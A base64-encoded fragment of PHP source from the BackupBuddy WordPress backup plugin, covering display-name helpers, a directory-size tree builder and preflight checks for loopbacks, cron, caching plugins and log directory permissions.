gKiBSZXR1cm4gYSBuaWNlIGh1bWFuIHN0cmluZyBmb3IgYSBzcGVjaWZpZWQgYmFja3VwIHR5cGUuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgVHlwZSBvZiBiYWNrdXAuIEVnLiBmdWxsLCBkYiwgZmlsZXMuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIFByZXR0eSBuYW1lIGZvciB0eXBlIG9mIGJhY2t1cC4gRWcuIEZ1bGwsIERhdGFiYXNlLCBGaWxlcy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwcmV0dHlfYmFja3VwX3R5cGUoICR0eXBlICkgewoJCSR0eXBlcyA9IGFycmF5KAoJCQknZnVsbCcgICAgPT4gJ0Z1bGwnLAoJCQknZGInICAgICAgPT4gJ0RhdGFiYXNlJywKCQkJJ2ZpbGVzJyAgID0+ICdGaWxlcycsCgkJCSd0aGVtZXMnICA9PiAnVGhlbWVzJywKCQkJJ3BsdWdpbnMnID0+ICdQbHVnaW5zJywKCQkJJ21lZGlhJyAgID0+ICdNZWRpYScsCgkJKTsKCgkJaWYgKCBpc3NldCggJHR5cGVzWyAkdHlwZSBdICkgKSB7CgkJCXJldHVybiAkdHlwZXNbICR0eXBlIF07CgkJfSBlbHNlIHsKCQkJcmV0dXJuICR0eXBlOwoJCX0KCX0gLy8gRW5kIHByZXR0eV9iYWNrdXBfdHlwZSgpLgoKCgkvKioKCSAqIFRha2UgYSBkZXN0aW5hdGlvbiB0eXBlIHNsdWcgYW5kIGNoYW5nZSBpdCBpbnRvIGEgdXNlci1mcmllbmRseSBkaXNwbGF5IG9mIHRoZSBkZXN0aW5hdGlvbiB0eXBlLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgIEludGVybmFsIGRlc3RpbmF0aW9uIHNsdWcuIChFeDogczMpLgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBGcmllbmRseSBkZXN0aW5hdGlvbiB0aXRsZS4gRWc6IEFtYXpvbiBTMwoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHByZXR0eV9kZXN0aW5hdGlvbl90eXBlKCAkdHlwZSApIHsKCQlpZiAoICdyYWNrc3BhY2UnID09PSAkdHlwZSApIHsKCQkJcmV0dXJuICdSYWNrc3BhY2UnOwoJCX0gZWxzZWlmICggJ2VtYWlsJyA9PT0gJHR5cGUgKSB7CgkJCXJldHVybiAnRW1haWwnOwoJCX0gZWxzZWlmICggJ3MzJyA9PT0gJHR5cGUgKSB7CgkJCXJldHVybiAnQW1hem9uIFMzJzsKCQl9IGVsc2VpZiAoICdzMzInID09PSAkdHlwZSApIHsKCQkJcmV0dXJuICdBbWF6b24gUzMgdjInOwoJCX0gZWxzZWlmICggJ3MzMycgPT09ICR0eXBlICkgewoJCQlyZXR1cm4gJ0FtYXpvbiBTMyB2Myc7CgkJfSBlbHNlaWYgKCAnZnRwJyA9PT0gJHR5cGUgKSB7CgkJCXJldHVybiAnRlRQJzsKCQl9IGVsc2VpZiAoICdzdGFzaDInID09PSAkdHlwZSApIHsKCQkJcmV0dXJuICdCYWNrdXBCdWRkeSBTdGFzaCB2Mic7CgkJfSBlbHNlaWYgKCAnc3Rhc2gzJyA9PT0gJHR5cGUgKSB7CgkJCXJldHVybiAnQmFja3VwQnVkZHkgU3Rhc2ggdjMnOwoJCX0gZWxzZWlmICggJ3NmdHAnID09PSAkdHlwZSApIHsKCQkJcmV0dXJuICdzRlRQJzsKCQl9IGVsc2VpZiAoICdkcm9wYm94MicgPT09ICR0eXBlICkgewoJCQlyZXR1cm4gJ0Ryb3Bib3ggdjInOwoJCX0gZWxzZWlmICggJ2dkcml2ZScgPT09ICR0eXBlICkgewoJCQlyZXR1cm4gJ0dvb2dsZSBEcml2ZSc7CgkJfSBlbHNlaWYgKCAnc2l0ZScgPT09ICR0eXBlICkgewoJCQlyZXR1cm4gJ0JhY2t1cEJ1ZGR5IERlcGxveW1lbnQnOwoJCX0gZWxzZSB7CgkJCXJldHVybiB1Y3dvcmRzKCBzdHJfcmVwbGFjZSggJ18nLCAnICcsICR0eXBlICkgKTsKCQl9Cgl9IC8vIEVuZCBwcmV0dHlfZGVzdGluYXRpb25fdHlwZSgpLgoKCgkvKioKCSAqIEJ1aWxkIGRpcmVjdG9yeSB0cmVlIGZvciB1c2Ugd2l0aCB0aGUgImljaWNsZSIgamF2YXNjcmlwdCBsaWJyYXJ5IGZvciB0aGUgZ3JhcGhpY2FsIGRpcmVjdG9yeSBkaXNwbGF5IG9uIFNlcnZlciBUb29scyBwYWdlLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGRpciAgICAgICAgICBEaXJlY3RvcnkuCgkgKiBAcGFyYW0gc3RyaW5nICRiYXNlICAgICAgICAgQmFzZS4KCSAqIEBwYXJhbSBzdHJpbmcgJGljaWNsZV9qc29uICBKU09OIHRvIGJ1aWxkLgoJICogQHBhcmFtIGludCAgICAkbWF4X2RlcHRoICAgIE1heGltdW0gZGVwdGggb2YgdHJlZSB0byBkaXNwbGF5LiBOb3RlIHRoYXQgZGVlcGVyIGRlcHRocyBhcmUgc3RpbGwgdHJhdmVyc2VkIGZvciBzaXplIGNhbGN1bGF0aW9ucy4gRGVmYXVsdDogMTAuCgkgKiBAcGFyYW0gaW50ICAgICRkZXB0aF9jb3VudCAgRGVwdGggY291bnQuIERlZmF1bHQ6IDAuCgkgKiBAcGFyYW0gYm9vbCAgICRpc19yb290ICAgICAgSXMgcm9vdD8gRGVmYXVsdDogdHJ1ZS4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBJY2ljbGUgSlNPTiBhbmQgZGlyZWN0b3J5IHNpemUuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYnVpbGRfaWNpY2xlKCAkZGlyLCAkYmFzZSwgJGljaWNsZV9qc29uLCAkbWF4X2RlcHRoID0gMTAsICRkZXB0aF9jb3VudCA9IDAsICRpc19yb290ID0gdHJ1ZSApIHsKCQkkYmdfY29sb3IgPSAnMDA1MjgyJzsKCgkJJGRlcHRoX2NvdW50Kys7CgkJJGJnX2NvbG9yID0gZGVjaGV4KCBoZXhkZWMoICRiZ19jb2xvciApIC0gKCAkZGVwdGhfY291bnQgKiAxNSApICk7CgoJCSRpY2ljbGVfanNvbiA9ICd7JyAuICJcbiI7CgoJCSRkaXJfbmFtZSA9ICRkaXI7CgkJJGRpcl9uYW1lID0gc3RyX3JlcGxhY2UoIEFCU1BBVEgsICcnLCAkZGlyICk7CgkJJGRpcl9uYW1lID0gc3RyX3JlcGxhY2UoICdcXCcsICcvJywgJGRpcl9uYW1lICk7CgoJCSRkaXJfc2l6ZSAgICAgPSAwOwoJCSRzdWIgICAgICAgICAgPSBvcGVuZGlyKCAkZGlyICk7CgkJJGhhc19jaGlsZHJlbiA9IGZhbHNlOwoJCXdoaWxlICggJGZpbGUgPSByZWFkZGlyKCAkc3ViICkgKSB7CgkJCWlmICggJy4nID09PSAkZmlsZSB8fCAnLi4nID09PSAkZmlsZSApIHsKCQkJCWNvbnRpbnVlOyAvLyBOZXh0IGxvb3AuCgkJCX0gZWxzZWlmICggaXNfZGlyKCAkZGlyIC4gJy8nIC4gJGZpbGUgKSApIHsKCQkJCSRkaXJfYXJyYXkgPSAnJzsKCQkJCSRyZXNwb25zZSAgPSBzZWxmOjpidWlsZF9pY2ljbGUoICRkaXIgLiAnLycgLiAkZmlsZSwgJGJhc2UsICRkaXJfYXJyYXksICRtYXhfZGVwdGgsICRkZXB0aF9jb3VudCwgZmFsc2UgKTsKCQkJCWlmICggJG1heF9kZXB0aCAtIDEgPiAwIHx8IC0xID09ICRtYXhfZGVwdGggKSB7IC8vIE9ubHkgYWRkcyB0byB0aGUgdmlzdWFsIHRyZWUgaWYgZGVwdGggaXNuJ3QgZXhjZWVkZWQuCgkJCQkJaWYgKCAkbWF4X2RlcHRoID4gMCApIHsKCQkJCQkJJG1heF9kZXB0aC0tOwoJCQkJCX0KCgkJCQkJaWYgKCBmYWxzZSA9PT0gJGhhc19jaGlsZHJlbiApIHsgLy8gZmlyc3QgbG9vcCBhZGQgY2hpbGRyZW4gc2VjdGlvbi4KCQkJCQkJJGljaWNsZV9qc29uIC49ICciY2hpbGRyZW4iOiBbJyAuICJcbiI7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGljaWNsZV9qc29uIC49ICcsJzsKCQkJCQl9CgkJCQkJJGljaWNsZV9qc29uIC49ICRyZXNwb25zZVswXTsKCgkJCQkJJGhhc19jaGlsZHJlbiA9IHRydWU7CgkJCQl9CgkJCQkkZGlyX3NpemUgKz0gJHJlc3BvbnNlWzFdOwoJCQkJdW5zZXQoICRyZXNwb25zZSApOwoJCQkJdW5zZXQoICRmaWxlICk7CgoJCQl9IGVsc2UgewoJCQkJJHN0YXRzICAgICA9IHN0YXQoICRkaXIgLiAnLycgLiAkZmlsZSApOwoJCQkJJGRpcl9zaXplICs9ICRzdGF0c1snc2l6ZSddOwoJCQkJdW5zZXQoICRmaWxlICk7CgkJCX0KCQl9CgkJY2xvc2VkaXIoICRzdWIgKTsKCQl1bnNldCggJHN1YiApOwoKCQlpZiAoIHRydWUgPT09ICRoYXNfY2hpbGRyZW4gKSB7CgkJCSRpY2ljbGVfanNvbiAuPSAnIF0nIC4gIlxuIjsKCQkJJGljaWNsZV9qc29uIC49ICcsJzsKCQl9CgoJCSRpY2ljbGVfanNvbiAuPSAnImlkIjogIm5vZGVfJyAuIHN0cl9yZXBsYWNlKCAnLycsICc6JywgJGRpcl9uYW1lICkgLiAnOiBeJyAuIHN0cl9yZXBsYWNlKCAnICcsICd+JywgcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJGRpcl9zaXplICkgKSAuICciJyAuICJcbiI7CgoJCSRkaXJfbmFtZSA9IHN0cl9yZXBsYWNlKCAnLycsICcnLCBzdHJyY2hyKCAkZGlyX25hbWUsICcvJyApICk7CgkJaWYgKCAnJyA9PSAkZGlyX25hbWUgKSB7IC8vIFNldCByb290IHRvIGJlIC8uCgkJCSRkaXJfbmFtZSA9ICcvJzsKCQl9CgkJJGljaWNsZV9qc29uIC49ICcsICJuYW1lIjogIicgLiAkZGlyX25hbWUgLiAnICgnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJGRpcl9zaXplICkgLiAnKSInIC4gIlxuIjsKCgkJJGljaWNsZV9qc29uIC49ICcsImRhdGEiOiB7ICIkZGltIjogJyAuICggJGRpcl9zaXplICsgMTAgKSAuICcsICIkY29sb3IiOiAiIycgLiBzdHJfcGFkKCAkYmdfY29sb3IsIDYsICcwJywgU1RSX1BBRF9MRUZUICkgLiAnIiB9JyAuICJcbiI7CgkJJGljaWNsZV9qc29uIC49ICd9JzsKCgkJcmV0dXJuIGFycmF5KCAkaWNpY2xlX2pzb24sICRkaXJfc2l6ZSApOwoJfSAvLyBFbmQgYnVpbGRfaWNpY2xlKCkuCgoKCS8qKgoJICogUHJlZmxpZ2h0IENoZWNrCgkgKgoJICogQHJldHVybiBhcnJheSAgVGVzdHMgYW5kIHRoZWlyIHJlc3VsdHMuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcHJlZmxpZ2h0X2NoZWNrKCkgewoJCSR0ZXN0cyA9IGFycmF5KCk7CgoJCS8vIE1VTFRJU0lURSBCRVRBIFdBUk5JTkcuCgkJaWYgKCBpc19tdWx0aXNpdGUoKSAmJiBiYWNrdXBidWRkeV9jb3JlOjppc19uZXR3b3JrX2FjdGl2YXRlZCgpICYmICEgZGVmaW5lZCggJ1BCX0RFTU9fTU9ERScgKSApIHsgLy8gTXVsdGlzaXRlIGluc3RhbGxhdGlvbi4KCQkJJGluc3RydWN0aW9uID0gZGVmaW5lZCggJ1BCX0JBQ0tVUEJVRERZX01VTFRJU0lURV9FWFBFUklNRU5UJyApICYmIHRydWUgPT09IFBCX0JBQ0tVUEJVRERZX01VTFRJU0lURV9FWFBFUklNRU5UID8gJycgOiAnVG8gZW5hYmxlIGV4cGVyaW1lbnRhbCBCYWNrdXBCdWRkeSBNdWx0aXNpdGUgZnVuY3Rpb25hbGl0eSB5b3UgbXVzdCBhZGQgdGhlIGZvbGxvd2luZyBsaW5lIHRvIHlvdXIgd3AtY29uZmlnLnBocCBmaWxlOiA8Yj5kZWZpbmUoIFwnUEJfQkFDS1VQQlVERFlfTVVMVElTSVRFX0VYUEVSSU1FTlRcJywgdHJ1ZSApOzwvYj4nOwoJCQkkdGVzdHNbXSA9IGFycmF5KAoJCQkJJ3Rlc3QnICAgID0+ICdtdWx0aXNpdGVfYmV0YScsCgkJCQknc3VjY2VzcycgPT4gZmFsc2UsCgkJCQknbWVzc2FnZScgPT4gJ1dBUk5JTkc6IEJhY2t1cEJ1ZGR5IE11bHRpc2l0ZSBmdW5jdGlvbmFsaXR5IGlzIEVYUEVSSU1FTlRBTCBhbmQgTk9UIG9mZmljaWFsbHkgc3VwcG9ydGVkLiBNdWx0aXBsZSBpc3N1ZXMgYXJlIGtub3duLiBVc2FnZSBvZiBpdCBpcyBhdCB5b3VyIG93biByaXNrIGFuZCBzaG91bGQgbm90IGJlIHJlbGllZCB1cG9uLiBTdGFuZGFsb25lIFdvcmRQcmVzcyBzaXRlcyBhcmUgc3VnZ2VzdGVkLiBZb3UgbWF5IHVzZSB0aGUgIkV4cG9ydCIgZmVhdHVyZSB0byBleHBvcnQgeW91ciBzdWJzaXRlcyBpbnRvIHN0YW5kYWxvbmUgV29yZFByZXNzIHNpdGVzLicgLiAkaW5zdHJ1Y3Rpb24sCgkJCSk7CgkJfSAvLyBlbmQgbmV0d29yay1hY3RpdmF0ZWQgbXVsdGlzaXRlLgoKCQkvLyBMT09QQkFDS1MgVEVTVC4KCQkkbG9vcGJhY2tfcmVzcG9uc2UgPSBzZWxmOjpsb29wYmFja190ZXN0KCk7CgkJaWYgKCB0cnVlID09PSAkbG9vcGJhY2tfcmVzcG9uc2UgKSB7CgkJCSRzdWNjZXNzID0gdHJ1ZTsKCQkJJG1lc3NhZ2UgPSAnJzsKCQl9IGVsc2UgeyAvLyBGYWlsZWQuCgkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCWlmICggZGVmaW5lZCggJ0FMVEVSTkFURV9XUF9DUk9OJyApICYmIHRydWUgPT0gQUxURVJOQVRFX1dQX0NST04gKSB7CgkJCQkkbWVzc2FnZSA9IF9fKCAnUnVubmluZyBpbiBBbHRlcm5hdGUgV29yZFByZXNzIENyb24gbW9kZS4gSFRUUCBMb29wYmFjayBDb25uZWN0aW9ucyBhcmUgbm90IGVuYWJsZWQgb24gdGhpcyBzZXJ2ZXIgYnV0IHlvdSBoYXZlIG92ZXJyaWRkZW4gdGhpcyBpbiB0aGUgd3AtY29uZmlnLnBocCBmaWxlICh0aGlzIGlzIGEgZ29vZCB0aGluZykuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIDxhIGhyZWY9Imh0dHBzOi8vaXRoZW1lc2hlbHAuemVuZGVzay5jb20vaGMvZW4tdXMvYXJ0aWNsZXMvMjExMTMyMzU3LUZyZXF1ZW50bHktU2Vlbi1TdXBwb3J0LUlzc3VlcyNodHRwTG9vcCIgdGFyZ2V0PSJfYmxhbmsiPicgLiBfXyggJ0FkZGl0aW9uYWwgSW5mb3JtYXRpb24gSGVyZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvYT4uJzsKCQkJfSBlbHNlIHsKCQkJCSRtZXNzYWdlICA9IF9fKCAnSFRUUCBMb29wYmFjayBDb25uZWN0aW9ucyBhcmUgbm90IGVuYWJsZWQgb24gdGhpcyBzZXJ2ZXIgb3IgYXJlIG5vdCBmdW5jdGlvbmluZyBwcm9wZXJseS4gWW91IG1heSBlbmNvdW50ZXIgc3RhbGxlZCwgc2lnbmlmaWNhbnRseSBkZWxheWVkIGJhY2t1cHMsIG9yIG90aGVyIGRpZmZpY3VsdGllcy4gU2VlIGRldGFpbHMgaW4gdGhlIGJveCBiZWxvdy4gVGhpcyBtYXkgYmUgY2F1c2VkIGJ5IGEgY29uZmxpY3RpbmcgcGx1Z2luIHN1Y2ggYXMgYSBjYWNoaW5nIHBsdWdpbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgPGEgaHJlZj0iaHR0cHM6Ly9pdGhlbWVzaGVscC56ZW5kZXNrLmNvbS9oYy9lbi11cy9hcnRpY2xlcy8yMTExMzIzNTctRnJlcXVlbnRseS1TZWVuLVN1cHBvcnQtSXNzdWVzI2h0dHBMb29wIiB0YXJnZXQ9Il9ibGFuayI+JyAuIF9fKCAnQ2xpY2sgZm9yIGluc3RydWN0aW9ucyBvbiBob3cgdG8gcmVzb2x2ZSB0aGlzIGlzc3VlLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvYT4nOwoJCQkJJG1lc3NhZ2UgLj0gJyA8Yj5EZXRhaWxzOjwvYj4gPHRleHRhcmVhIHN0eWxlPSJoZWlnaHQ6IDUwcHg7IHdpZHRoOiAxMDAlOyI+JyAuICRsb29wYmFja19yZXNwb25zZSAuICc8L3RleHRhcmVhPic7CgkJCX0KCQl9CgkJJHRlc3RzW10gPSBhcnJheSgKCQkJJ3Rlc3QnICAgID0+ICdsb29wYmFja3MnLAoJCQknc3VjY2VzcycgPT4gJHN1Y2Nlc3MsCgkJCSdtZXNzYWdlJyA9PiAkbWVzc2FnZSwKCQkpOwoKCQkvLyBDUk9OQkFDS1MgVEVTVC4KCQkkY3JvbmJhY2tfcmVzcG9uc2UgPSBzZWxmOjpjcm9uYmFja190ZXN0KCk7CgkJaWYgKCB0cnVlID09PSAkY3JvbmJhY2tfcmVzcG9uc2UgKSB7CgkJCSRzdWNjZXNzID0gdHJ1ZTsKCQkJJG1lc3NhZ2UgPSAnJzsKCQl9IGVsc2UgeyAvLyBGYWlsZWQuCgkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCWlmICggZGVmaW5lZCggJ0FMVEVSTkFURV9XUF9DUk9OJyApICYmIHRydWUgPT0gQUxURVJOQVRFX1dQX0NST04gKSB7CgkJCQkkbWVzc2FnZSA9IF9fKCAnUnVubmluZyBpbiBBbHRlcm5hdGUgV29yZFByZXNzIENyb24gbW9kZS4gSFRUUCBjcm9uYmFjayBDb25uZWN0aW9ucyBhcmUgbm90IGVuYWJsZWQgb24gdGhpcyBzZXJ2ZXIgYnV0IHlvdSBoYXZlIG92ZXJyaWRkZW4gdGhpcyBpbiB0aGUgd3AtY29uZmlnLnBocCBmaWxlICh0aGlzIGlzIGEgZ29vZCB0aGluZykuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIDxhIGhyZWY9Imh0dHA6Ly9pdGhlbWVzLmNvbS9jb2RleC9wYWdlL0JhY2t1cEJ1ZGR5Ol9GcmVxdWVudF9TdXBwb3J0X0lzc3VlcyNIVFRQX2Nyb25iYWNrX0Nvbm5lY3Rpb25zX0Rpc2FibGVkIiB0YXJnZXQ9Il9ibGFuayI+JyAuIF9fKCAnQWRkaXRpb25hbCBJbmZvcm1hdGlvbiBIZXJlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9hPi4nOwoJCQl9IGVsc2UgewoJCQkJJG1lc3NhZ2UgID0gX18oICdIVFRQIGxvb3BiYWNrIGNvbm5lY3Rpb25zIGFyZSBub3QgZW5hYmxlZCB0byB0aGUgd3AtY3Jvbi5waHAgb24gdGhpcyBzZXJ2ZXIgb3IgYXJlIG5vdCBmdW5jdGlvbmluZyBwcm9wZXJseS4gWW91IG1heSBlbmNvdW50ZXIgc3RhbGxlZCwgc2lnbmlmaWNhbnRseSBkZWxheWVkIGJhY2t1cHMsIG9yIG90aGVyIGRpZmZpY3VsdGllcy4gU2VlIGRldGFpbHMgaW4gdGhlIGJveCBiZWxvdy4gVGhpcyBtYXkgYmUgY2F1c2VkIGJ5IGEgY29uZmxpY3RpbmcgcGx1Z2luIHN1Y2ggYXMgYSBjYWNoaW5nIHBsdWdpbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgPGEgaHJlZj0iaHR0cHM6Ly9pdGhlbWVzaGVscC56ZW5kZXNrLmNvbS9oYy9lbi11cy9hcnRpY2xlcy8yMTExMzIzNTctRnJlcXVlbnRseS1TZWVuLVN1cHBvcnQtSXNzdWVzI2h0dHBMb29wIiB0YXJnZXQ9Il9ibGFuayI+JyAuIF9fKCAnQ2xpY2sgZm9yIGluc3RydWN0aW9ucyBvbiBob3cgdG8gcmVzb2x2ZSB0aGlzIGlzc3VlLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvYT4nOwoJCQkJJG1lc3NhZ2UgLj0gJyA8Yj5EZXRhaWxzOjwvYj4gPHRleHRhcmVhIHN0eWxlPSJoZWlnaHQ6IDUwcHg7IHdpZHRoOiAxMDAlOyI+JyAuICRjcm9uYmFja19yZXNwb25zZSAuICc8L3RleHRhcmVhPic7CgkJCX0KCQl9CgkJJHRlc3RzW10gPSBhcnJheSgKCQkJJ3Rlc3QnICAgID0+ICdjcm9uYmFja3MnLAoJCQknc3VjY2VzcycgPT4gJHN1Y2Nlc3MsCgkJCSdtZXNzYWdlJyA9PiAkbWVzc2FnZSwKCQkpOwoKCQkvLyBQT1NTSUJMRSBDQUNISU5HIFBMVUdJTiBDT05GTElDVCBXQVJOSU5HLgoJCSRzdWNjZXNzICAgICAgID0gdHJ1ZTsKCQkkbWVzc2FnZSAgICAgICA9ICcnOwoJCSRmb3VuZF9wbHVnaW5zID0gYXJyYXkoKTsKCQlpZiAoICEgaXNfbXVsdGlzaXRlKCkgKSB7CgkJCSRhY3RpdmVfcGx1Z2lucyA9IHNlcmlhbGl6ZSggZ2V0X29wdGlvbiggJ2FjdGl2ZV9wbHVnaW5zJyApICk7CgkJCWZvcmVhY2ggKCBzZWxmOjokd2Fybl9wbHVnaW5zIGFzICR3YXJuX3BsdWdpbiA9PiAkd2Fybl9wbHVnaW5fdGl0bGUgKSB7CgkJCQlpZiAoIGZhbHNlICE9PSBzdHJwb3MoICRhY3RpdmVfcGx1Z2lucywgJHdhcm5fcGx1Z2luICkgKSB7IC8vIFBsdWdpbiBhY3RpdmUuCgkJCQkJJGZvdW5kX3BsdWdpbnNbXSA9ICR3YXJuX3BsdWdpbl90aXRsZTsKCQkJCQkkc3VjY2VzcyAgICAgICAgID0gZmFsc2U7CgkJCQl9CgkJCX0KCQl9CgkJaWYgKCBjb3VudCggJGZvdW5kX3BsdWdpbnMgKSA+IDAgKSB7CgkJCSRtZXNzYWdlICA9IF9fKCAnT25lIG9yIG1vcmUgY2FjaGluZyBvciBzZWN1cml0eSBwbHVnaW5zIGtub3duIHRvIHBvc3NpYmx5IGNhdXNlIHByb2JsZW1zIHdhcyBkZXRlY3RlZCBhcyBhY3RpdmF0ZWQuIFNvbWUgY2FjaGluZyBvciBzZWN1cml0eSBwbHVnaW4gY29uZmlndXJhdGlvbnMgbWF5IHBvc3NpYmx5IGNhY2hlIG9yIGludGVyZmVyZSB3aXRoIGJhY2t1cCBwcm9jZXNzZXMgb3IgV29yZFByZXNzIGNyb24uIElmIHlvdSBlbmNvdW50ZXIgcHJvYmxlbXMgY2xlYXIgdGhlIGNhY2hpbmcgcGx1Z2luXCdzIGNhY2hlIG9yIGNoZWNrIHNlY3VyaXR5IHNldHRpbmdzIChkZWFjdGl2YXRpbmcgdGhlIHBsdWdpbiBtYXkgaGVscCkgdG8gdHJvdWJsZXNob290LicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyAnOwoJCQkkbWVzc2FnZSAuPSBfXyggJ0FjdGl2YXRlZCBjYWNoaW5nIHBsdWdpbnMgZGV0ZWN0ZWQ6JywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnICc7CgkJCSRtZXNzYWdlIC49IGltcGxvZGUoICcsICcsICRmb3VuZF9wbHVnaW5zICk7CgkJCSRtZXNzYWdlIC49ICcuJzsKCQl9CgkJJHRlc3RzW10gPSBhcnJheSgKCQkJJ3Rlc3QnICAgID0+ICdsb29wYmFja3MnLAoJCQknc3VjY2VzcycgPT4gJHN1Y2Nlc3MsCgkJCSdtZXNzYWdlJyA9PiAkbWVzc2FnZSwKCQkpOwoKCQkvLyBXb3JkUHJlc3MgSU4gU1VCRElSRUNUT1JJRVMgVEVTVC4KCQkkd29yZHByZXNzX2xvY2F0aW9ucyA9IHNlbGY6OmdldF93b3JkcHJlc3NfbG9jYXRpb25zKCk7CgkJaWYgKCBjb3VudCggJHdvcmRwcmVzc19sb2NhdGlvbnMgKSA+IDAgKSB7CgkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCSRtZXNzYWdlID0gX18oICdXb3JkUHJlc3MgbWF5IGhhdmUgYmVlbiBkZXRlY3RlZCBpbiBvbmUgb3IgbW9yZSBzdWJkaXJlY3Rvcmllcy4gQmFja2luZyB1cCBtdWx0aXBsZSBpbnN0YW5jZXMgb2YgV29yZFByZXNzIG1heSByZXN1bHQgaW4gc2VydmVyIHRpbWVvdXRzIGR1ZSB0byBpbmNyZWFzZWQgYmFja3VwIHRpbWUuIFlvdSBtYXkgZXhjbHVkZSBXb3JkUHJlc3MgZGlyZWN0b3JpZXMgdmlhIHRoZSBTZXR0aW5ncyBwYWdlLiBEZXRlY3RlZCBub24tZXhjbHVkZWQgbG9jYXRpb25zOicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyAnIC4gaW1wbG9kZSggJywgJywgJHdvcmRwcmVzc19sb2NhdGlvbnMgKTsKCQl9IGVsc2UgewoJCQkkc3VjY2VzcyA9IHRydWU7CgkJCSRtZXNzYWdlID0gJyc7CgkJfQoJCSR0ZXN0c1tdID0gYXJyYXkoCgkJCSd0ZXN0JyAgICA9PiAnd29yZHByZXNzX3N1YmRpcmVjdG9yaWVzJywKCQkJJ3N1Y2Nlc3MnID0+ICRzdWNjZXNzLAoJCQknbWVzc2FnZScgPT4gJG1lc3NhZ2UsCgkJKTsKCgkJLy8gTG9nIGZpbGUgZGlyZWN0b3J5IHdyaXRhYmxlIGZvciBzdGF0dXMgbG9nZ2luZy4KCQkkc3RhdHVzX2RpcmVjdG9yeSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpOwoJCWlmICggISBmaWxlX2V4aXN0cyggJHN0YXR1c19kaXJlY3RvcnkgKSApIHsKCQkJaWYgKCBmYWxzZSA9PT0gcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCAkc3RhdHVzX2RpcmVjdG9yeSwgZmFsc2UgKSApIHsKCQkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCQkkbWVzc2FnZSA9ICdUaGUgc3RhdHVzIGxvZyBmaWxlIGRpcmVjdG9yeSBgJyAuICRzdGF0dXNfZGlyZWN0b3J5IC4gJ2AgaXMgbm90IGNyZWF0YWJsZSBvciBwZXJtaXNzaW9ucyBwcmV2ZW50IGFjY2Vzcy4gVmVyaWZ5IHBlcm1pc3Npb25zIG9mIGl0IGFuZC9vciBpdHMgcGFyZW50IGRpcmVjdG9yeS4gQmFja3VwIHN0YXR1cyBpbmZvcm1hdGlvbiB3aWxsIGJlIHVuYXZhaWxhYmxlIHVudGlsIHRoaXMgaXMgcmVzb2x2ZWQuJzsKCQkJfQoJCX0KCQlpZiAoICEgaXNfd3JpdGFibGUoICRzdGF0dXNfZGlyZWN0b3J5ICkgKSB7CgkJCSRzdWNjZXNzID0gZmFsc2U7CgkJCSRtZXNzYWdlID0gJ1RoZSBzdGF0dXMgbG9nIGZpbGUgZGlyZWN0b3J5IGAnIC4gJHN0YXR1c19kaXJlY3RvcnkgLiAnYCBpcyBub3Qgd3JpdGFibGUuIFBsZWFzZSB2ZXJpZnkgcGVybWlzc2lvbnMgYmVmb3JlIGNyZWF0aW5nIGEgYmFja3VwLiBCYWNrdXAgc3RhdHVzIGluZm9ybWF0aW9uIHdpbGwgYmUgdW5hdmFpbGFibGUgdW50aWwgdGhpcyBpcyByZXNvbHZlZC4nOwoJCX0gZWxzZSB7CgkJCSRzdWNjZXNzID0gdHJ1ZTsKCQkJJG1lc3NhZ2UgPSAnJzsKCQl9CgkJJHRlc3RzW10gPSBhcnJheSgKCQkJJ3Rlc3QnICAgID0+ICdzdGF0dXNfZGlyZWN0b3J5X3dyaXRhYmxlJywKCQkJJ3N1Y2Nlc3MnID0+ICRzdWNjZXNzLAoJCQknbWVzc2FnZScgPT4gJG1lc3NhZ2UsCgkJKTsKCgkJLy8gQ0hFQ0sgWklQIEFWQUlMQUJJTElUWS4KCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi96aXBidWRkeS96aXBidWRkeS5waHAnOwoKCQlpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ3ppcGJ1ZGR5J10gPSBuZXcgcGx1Z2luYnVkZHlfemlwYnVkZHkoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpICk7CgkJfQoKCQkvKioqKiogQkVHSU4gTE9PS0lORyBGT1IgVU5GSU5JU0hFRCBSRUNFTlQgQkFDS1VQUyAqLwoJCWlmICggJycgIT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsYXN0X2JhY2t1cF9zZX